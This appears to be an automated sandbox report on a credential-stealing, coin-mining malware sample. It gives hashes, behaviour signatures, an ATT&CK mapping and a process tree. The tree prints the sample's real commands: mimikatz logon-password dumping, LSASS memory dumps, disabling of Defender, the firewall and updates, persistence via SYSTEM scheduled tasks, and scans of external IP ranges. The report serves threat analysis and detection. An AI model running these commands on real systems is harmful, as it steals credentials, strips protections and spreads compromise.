Overview

overview

10

Static

static

10

2024-10-10...tz.exe

windows7-x64

10

2024-10-10...tz.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-10-2024 23:43

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2024-10-10_4fe62fd4601875065aa756a2c04c6de4_hacktools_icedid_mimikatz.exe

  • Size

    8.5MB

  • MD5

    4fe62fd4601875065aa756a2c04c6de4

  • SHA1

    a7512bfa0f3feb7c17150c7bc970ea33956df6f7

  • SHA256

    ce0aa17f7b7764ba8aa73a04ca759f3c8bfca69ab7b8639f0794ace96acc24d8

  • SHA512

    0a10cdede98acb6ebd035b8bb09bf2722d5bf983f5870755a06540020eac3bc63846ab69b507e5642c214e8f26819f71a6ef7c552e78c82b2c6e73ae5aa3eaa4

  • SSDEEP

    98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Score
10/10
mimikatzxmrigcredential_accessdiscoveryevasionexecutionminerpersistenceprivilege_escalationupx

Malware Config

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

    mimikatz
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Contacts a large (19637) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

    credential_access
  • XMRig Miner payload 10 IoCs
    miner
  • mimikatz is an open source tool to dump credentials on Windows 6 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
    persistence
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 26 IoCs
  • Loads dropped DLL 12 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Creates a Windows Service
    persistence
  • Drops file in System32 directory 18 IoCs
  • UPX packed file 33 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • NSIS installer 3 IoCs
    installer
  • Modifies data under HKEY_USERS 41 IoCs
  • Modifies registry class 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:2064
      • C:\Windows\TEMP\tfikiqkpu\ntqkck.exe
        "C:\Windows\TEMP\tfikiqkpu\ntqkck.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:64
    • C:\Users\Admin\AppData\Local\Temp\2024-10-10_4fe62fd4601875065aa756a2c04c6de4_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-10-10_4fe62fd4601875065aa756a2c04c6de4_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4508
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\tqgebhig\llchjqs.exe
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:2764
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:3248
        • C:\Windows\tqgebhig\llchjqs.exe
          C:\Windows\tqgebhig\llchjqs.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:3088
    • C:\Windows\tqgebhig\llchjqs.exe
      C:\Windows\tqgebhig\llchjqs.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2020
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4812
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3856
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4276
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2072
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1352
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:4212
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1800
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static del all
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:3240
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add policy name=Bastards description=FuckingBastards
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:5088
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add filteraction name=BastardsList action=block
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:2036
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c C:\Windows\zktnbpatc\gkbhvgseb\wpcap.exe /S
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:388
          • C:\Windows\zktnbpatc\gkbhvgseb\wpcap.exe
            C:\Windows\zktnbpatc\gkbhvgseb\wpcap.exe /S
            3⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2344
            • C:\Windows\SysWOW64\net.exe
              net stop "Boundary Meter"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1164
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "Boundary Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:2188
            • C:\Windows\SysWOW64\net.exe
              net stop "TrueSight Meter"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:964
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "TrueSight Meter"
                5⤵
                  PID:3868
              • C:\Windows\SysWOW64\net.exe
                net stop npf
                4⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4508
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop npf
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:3776
              • C:\Windows\SysWOW64\net.exe
                net start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:3992
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:3032
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net start npf
            2⤵
            • System Location Discovery: System Language Discovery
            PID:3448
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1652
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:4560
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net start npf
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2168
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
              • System Location Discovery: System Language Discovery
              PID:3964
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:3528
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c C:\Windows\zktnbpatc\gkbhvgseb\tppqklzyi.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\zktnbpatc\gkbhvgseb\Scant.txt
            2⤵
            • System Location Discovery: System Language Discovery
            PID:32
            • C:\Windows\zktnbpatc\gkbhvgseb\tppqklzyi.exe
              C:\Windows\zktnbpatc\gkbhvgseb\tppqklzyi.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\zktnbpatc\gkbhvgseb\Scant.txt
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:4812
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c C:\Windows\zktnbpatc\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\zktnbpatc\Corporate\log.txt
            2⤵
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            PID:3244
            • C:\Windows\zktnbpatc\Corporate\vfshost.exe
              C:\Windows\zktnbpatc\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
              3⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:4844
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "psgtjyzmc" /ru system /tr "cmd /c C:\Windows\ime\llchjqs.exe"
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1448
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
              • System Location Discovery: System Language Discovery
              PID:864
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /sc minute /mo 1 /tn "psgtjyzmc" /ru system /tr "cmd /c C:\Windows\ime\llchjqs.exe"
              3⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:2688
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ltlituhps" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tqgebhig\llchjqs.exe /p everyone:F"
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4784
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
              • System Location Discovery: System Language Discovery
              PID:4192
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /sc minute /mo 1 /tn "ltlituhps" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tqgebhig\llchjqs.exe /p everyone:F"
              3⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:3636
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "plfnqtetc" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\tfikiqkpu\ntqkck.exe /p everyone:F"
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2800
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
                PID:3516
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /sc minute /mo 1 /tn "plfnqtetc" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\tfikiqkpu\ntqkck.exe /p everyone:F"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3968
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              PID:1484
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:3496
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:1116
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static set policy name=Bastards assign=y
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:872
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              PID:2144
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              PID:4272
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              PID:760
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static set policy name=Bastards assign=y
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:4508
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:2692
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              PID:2924
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:3904
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static set policy name=Bastards assign=y
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:2448
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c net stop SharedAccess
              2⤵
              • System Location Discovery: System Language Discovery
              PID:2768
              • C:\Windows\SysWOW64\net.exe
                net stop SharedAccess
                3⤵
                • System Location Discovery: System Language Discovery
                PID:1768
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop SharedAccess
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:4756
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c netsh firewall set opmode mode=disable
              2⤵
              • System Location Discovery: System Language Discovery
              PID:2220
              • C:\Windows\SysWOW64\netsh.exe
                netsh firewall set opmode mode=disable
                3⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:2168
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c netsh Advfirewall set allprofiles state off
              2⤵
              • System Location Discovery: System Language Discovery
              PID:1352
              • C:\Windows\SysWOW64\netsh.exe
                netsh Advfirewall set allprofiles state off
                3⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:4048
            • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
              C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 772 C:\Windows\TEMP\zktnbpatc\772.dmp
              2⤵
              • Executes dropped EXE
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:4748
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c net stop MpsSvc
              2⤵
                PID:732
                • C:\Windows\SysWOW64\net.exe
                  net stop MpsSvc
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:3968
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop MpsSvc
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:3584
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c net stop WinDefend
                2⤵
                  PID:4564
                  • C:\Windows\SysWOW64\net.exe
                    net stop WinDefend
                    3⤵
                      PID:3156
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop WinDefend
                        4⤵
                        • System Location Discovery: System Language Discovery
                        PID:1844
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c net stop wuauserv
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:1192
                    • C:\Windows\SysWOW64\net.exe
                      net stop wuauserv
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:4864
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop wuauserv
                        4⤵
                        • System Location Discovery: System Language Discovery
                        PID:380
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c sc config MpsSvc start= disabled
                    2⤵
                      PID:4328
                      • C:\Windows\SysWOW64\sc.exe
                        sc config MpsSvc start= disabled
                        3⤵
                        • Launches sc.exe
                        PID:448
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c sc config SharedAccess start= disabled
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:724
                      • C:\Windows\SysWOW64\sc.exe
                        sc config SharedAccess start= disabled
                        3⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:3004
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c sc config WinDefend start= disabled
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:4184
                      • C:\Windows\SysWOW64\sc.exe
                        sc config WinDefend start= disabled
                        3⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:4268
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c sc config wuauserv start= disabled
                      2⤵
                        PID:1188
                        • C:\Windows\SysWOW64\sc.exe
                          sc config wuauserv start= disabled
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:1464
                      • C:\Windows\TEMP\xohudmc.exe
                        C:\Windows\TEMP\xohudmc.exe
                        2⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of SetWindowsHookEx
                        PID:3208
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 316 C:\Windows\TEMP\zktnbpatc\316.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1164
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 2064 C:\Windows\TEMP\zktnbpatc\2064.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:688
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 2604 C:\Windows\TEMP\zktnbpatc\2604.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2404
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 2984 C:\Windows\TEMP\zktnbpatc\2984.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4188
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 3040 C:\Windows\TEMP\zktnbpatc\3040.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2368
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 2556 C:\Windows\TEMP\zktnbpatc\2556.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:764
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 3764 C:\Windows\TEMP\zktnbpatc\3764.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2932
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 3848 C:\Windows\TEMP\zktnbpatc\3848.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2164
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 3912 C:\Windows\TEMP\zktnbpatc\3912.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3304
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 4008 C:\Windows\TEMP\zktnbpatc\4008.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4620
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 2808 C:\Windows\TEMP\zktnbpatc\2808.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2756
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 4496 C:\Windows\TEMP\zktnbpatc\4496.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4192
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 1968 C:\Windows\TEMP\zktnbpatc\1968.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3608
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 5016 C:\Windows\TEMP\zktnbpatc\5016.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4448
                      • C:\Windows\TEMP\zktnbpatc\bqykpunep.exe
                        C:\Windows\TEMP\zktnbpatc\bqykpunep.exe -accepteula -mp 3412 C:\Windows\TEMP\zktnbpatc\3412.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4880
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c C:\Windows\zktnbpatc\gkbhvgseb\scan.bat
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:1036
                        • C:\Windows\zktnbpatc\gkbhvgseb\vihpsbpfp.exe
                          vihpsbpfp.exe TCP 138.199.0.1 138.199.255.255 7001 512 /save
                          3⤵
                          • Executes dropped EXE
                          • Drops file in Windows directory
                          • System Location Discovery: System Language Discovery
                          PID:3780
                    • C:\Windows\SysWOW64\kcyycg.exe
                      C:\Windows\SysWOW64\kcyycg.exe
                      1⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of SetWindowsHookEx
                      PID:2420
                    • C:\Windows\system32\cmd.EXE
                      C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\tqgebhig\llchjqs.exe /p everyone:F
                      1⤵
                        PID:4952
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                          2⤵
                            PID:3972
                          • C:\Windows\system32\cacls.exe
                            cacls C:\Windows\tqgebhig\llchjqs.exe /p everyone:F
                            2⤵
                              PID:1736
                          • C:\Windows\system32\cmd.EXE
                            C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\tfikiqkpu\ntqkck.exe /p everyone:F
                            1⤵
                              PID:3104
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                2⤵
                                  PID:2692
                                • C:\Windows\system32\cacls.exe
                                  cacls C:\Windows\TEMP\tfikiqkpu\ntqkck.exe /p everyone:F
                                  2⤵
                                    PID:1680
                                • C:\Windows\system32\cmd.EXE
                                  C:\Windows\system32\cmd.EXE /c C:\Windows\ime\llchjqs.exe
                                  1⤵
                                    PID:3892
                                    • C:\Windows\ime\llchjqs.exe
                                      C:\Windows\ime\llchjqs.exe
                                      2⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:5028

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Reconnaissance

                                  Resource Development

                                  Initial Access

                                  Execution

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Scheduled Task

                                  1
                                  T1053.005

                                  System Services

                                  1
                                  T1569

                                  Service Execution

                                  1
                                  T1569.002

                                  Persistence

                                  Create or Modify System Process

                                  2
                                  T1543

                                  Windows Service

                                  2
                                  T1543.003

                                  Event Triggered Execution

                                  2
                                  T1546

                                  Image File Execution Options Injection

                                  1
                                  T1546.012

                                  Netsh Helper DLL

                                  1
                                  T1546.007

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Scheduled Task

                                  1
                                  T1053.005

                                  Privilege Escalation

                                  Create or Modify System Process

                                  2
                                  T1543

                                  Windows Service

                                  2
                                  T1543.003

                                  Event Triggered Execution

                                  2
                                  T1546

                                  Image File Execution Options Injection

                                  1
                                  T1546.012

                                  Netsh Helper DLL

                                  1
                                  T1546.007

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Scheduled Task

                                  1
                                  T1053.005

                                  Defense Evasion

                                  Impair Defenses

                                  1
                                  T1562

                                  Disable or Modify System Firewall

                                  1
                                  T1562.004

                                  Credential Access

                                  OS Credential Dumping

                                  1
                                  T1003

                                  LSASS Memory

                                  1
                                  T1003.001

                                  Discovery

                                  Network Service Discovery

                                  2
                                  T1046

                                  Network Share Discovery

                                  1
                                  T1135

                                  Query Registry

                                  1
                                  T1012

                                  Remote System Discovery

                                  1
                                  T1018

                                  System Information Discovery

                                  1
                                  T1082

                                  System Location Discovery

                                  1
                                  T1614

                                  System Language Discovery

                                  1
                                  T1614.001

                                  System Network Configuration Discovery

                                  1
                                  T1016

                                  Internet Connection Discovery

                                  1
                                  T1016.001

                                  Lateral Movement

